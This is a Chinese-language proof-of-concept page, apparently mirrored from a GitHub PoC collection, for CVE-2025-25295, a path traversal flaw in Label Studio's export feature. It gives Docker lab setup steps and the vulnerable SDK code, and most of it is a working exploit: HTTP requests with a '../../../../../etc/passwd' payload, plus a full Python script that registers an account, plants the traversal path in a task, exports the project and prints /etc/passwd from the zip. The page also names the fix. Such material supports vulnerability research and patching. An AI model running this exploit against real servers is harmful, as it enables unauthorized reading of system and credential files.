mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2026-10-24 17:04:28 +00:00
8.8 KiB
8.8 KiB
Label Studio 任意文件读取漏洞 CVE-2025-25295
漏洞描述
Label Studio 是一款开源数据标注工具。它拥有简洁易用的用户界面,支持标注音频、文本、图像、视频和时间序列等多种数据类型,并可导出为多种模型格式。它可用于准备原始数据或改进现有训练数据,从而获得更精准的机器学习模型。
Label Studio SDK 1.0.10 之前的版本存在路径遍历漏洞,允许未经授权访问预期目录结构之外的文件。该漏洞存在于 VOC、COCO 和 YOLO 导出功能中,这些功能会调用 label-studio-sdk Python 包中的 download 函数,该函数处理图像引用时未能验证文件路径。Label Studio 1.16.0 之前的版本指定了 1.0.10 之前的 SDK 版本作为依赖项,用户应升级到 1.16.0 或更高版本以缓解此问题。
参考链接:
- https://github.com/HumanSignal/label-studio/security/advisories/GHSA-rgv9-w7jp-m23g
- https://nvd.nist.gov/vuln/detail/CVE-2025-25295
漏洞影响
Label Studio SDK < 1.0.10
环境搭建
执行如下命令启动一个 Label Studio 1.10.0 服务:
docker pull heartexlabs/label-studio:1.10.0
docker run -it -p 8080:8080 -v $(pwd)/mydata:/label-studio/data heartexlabs/label-studio:1.10.0
服务启动后,可以在 ./mydata 目录中找到所有生成的资源,包括 SQLite3 数据库存储 label_studio.sqlite3 和上传的文件。访问 http://your-ip:8080/ 即可访问服务:
漏洞复现
注册账号并登录,新建一个带有图像配置标签的项目,在 Labeling Setup 中自定义,使用 Image 组件进行标注:
<View>
<Image name="image" value="$image"/>
<Text name="text" value="$text"/>
<Choices name="choice" toName="image">
<Choice value="yes"/>
<Choice value="no"/>
</Choices>
</View>
触发 is_uploaded_file 代码:
POST /api/projects/6/tasks HTTP/1.1
Host: 192.168.174.2:8080
Content-Type: application/json
Accept: */*
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, zstd
X-CSRFToken:
Cookie:
Content-Length: 84
{
"data": {
"text": "test",
"image": "/data/upload/../../../../../etc/passwd"
}
}
使用 VOC、YOLO 或 COCO 格式导出项目,服务器将返回一个 Zip 文件,例如:
GET /api/projects/6/export?exportType=VOC&download_all_tasks=true&download_resources=true HTTP/1.1
Host: 192.168.174.2:8080
Cache-Control: no-cache
Referer: http://192.168.174.2:8080/projects/2/data/export
Pragma: no-cache
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie:
该漏洞是由于其导出功能调用了 label-studio-sdk Python 包中的 download 函数,该函数处理图像引用时未能验证文件路径:
def download(
url,
output_dir,
filename=None,
project_dir=None,
return_relative_path=False,
upload_dir=None,
download_resources=True,
):
is_local_file = url.startswith("/data/") and "?d=" in url
is_uploaded_file = url.startswith("/data/upload")
if is_uploaded_file:
upload_dir = _get_upload_dir(project_dir, upload_dir)
filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
filepath = os.path.join(upload_dir, filename)
logger.debug(
f"Copy {filepath} to {output_dir}".format(
filepath=filepath, output_dir=output_dir
)
)
if download_resources:
shutil.copy(filepath, output_dir)
if return_relative_path:
return os.path.join(
os.path.basename(output_dir), os.path.basename(filename)
)
return filepath
if is_local_file:
filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
dir_path = str(urllib.parse.unquote(dir_path))
filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
if not os.path.exists(filepath):
raise FileNotFoundError(filepath)
if download_resources:
shutil.copy(filepath, output_dir)
return filepath
漏洞 POC
import requests
from bs4 import BeautifulSoup
import io
import zipfile
BASE_URL = "http://xbow-app-1:8000"
USERNAME = "[email protected]"
PASSWORD = "Test123!@#"
METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file"
EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO"
print("Signing up...")
url = "%s/user/signup/" % BASE_URL
session = requests.Session()
# First get the CSRF token
response = session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
print(f"Got CSRF token: {csrf_token}")
# Prepare registration data
data = {
'csrfmiddlewaretoken': csrf_token,
'email': USERNAME,
'password': PASSWORD,
'allow_newsletters': 'false',
'allow_newsletters_visual': 'false'
}
headers = {
'Referer': url,
'Content-Type': 'application/x-www-form-urlencoded',
}
# Submit the registration request
response = session.post(url, data=data, headers=headers)
print(f"User registration response status code: {response.status_code}\n")
# Login
print("Logging in...")
url = "%s/user/login" % BASE_URL
# Attempt login with our credentials
login_data = {
'csrfmiddlewaretoken': csrf_token,
'email': USERNAME,
'password': PASSWORD,
}
headers = {
'Referer': url,
'Content-Type': 'application/x-www-form-urlencoded',
}
response = session.post(url, data=login_data, headers=headers)
print(f"Login response status code: {response.status_code}")
# Check if we got any tokens in the response
print("\nCookies after login:")
for cookie in session.cookies:
print(f"{cookie.name}: {cookie.value}")
# We will use these headers moving forward
headers = {
'Content-Type': 'application/json',
'X-CSRFToken': session.cookies['csrftoken']
}
# Creat a project to then create a task associated to it
print("\nCreating project...")
# Try to create a project with a file upload configuration
project_data = {
"title": "File Upload Test",
"description": "Testing file upload functionality",
"label_config": """
<View>
<Image name="image" value="$image"/>
<Text name="text" value="$text"/>
<Choices name="choice" toName="image">
<Choice value="yes"/>
<Choice value="no"/>
</Choices>
</View>
"""
}
response = session.post("%s/api/projects/" % BASE_URL, json=project_data, headers=headers)
if response.status_code != 201:
print("Problem creating project, aborting")
exit(0)
project_id = response.json()['id']
print(f"Project ID: {project_id}\n")
# Create task using a filename to later abuse a path traversal vulnerability during file export
print(f"Creating task with method {METHOD} (defaults to is_local_file)...")
task_data = {}
if (METHOD == "is_uploaded_file"):
task_data["data"] = {
"text": "test",
"image": "/data/upload/../../../../../etc/passwd" # Trigger for is_uploaded_file
}
else:
task_data["data"] = {
"text": "test",
"image": "/data/local-files/?d=../../../etc/passwd" # Trigger for is_local_file
}
response = session.post(f"{BASE_URL}/api/projects/{project_id}/tasks", json=task_data, headers=headers)
if response.status_code != 201:
print("Problem creating task, aborting")
exit(0)
task_id = response.json()['id']
print(f"Task created successfully, task id: {task_id}\n")
# Issue a dummy upload request to force the creation of the ~/data/images/upload folder
response = session.post(f"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false", files={"bar.png":"data"})
# Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)
response = session.get(f"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true")
if (response.status_code != 200):
print("Couldn't fetch export file")
exit(0)
file_like_object = io.BytesIO(response.content)
zipfile_ob = zipfile.ZipFile(file_like_object)
print("Dumping /etc/passwd file contents:")
print(zipfile_ob.read("images/passwd").decode("utf-8"))
漏洞修复
- 升级到 Label Studio 1.16.0 或更高版本。




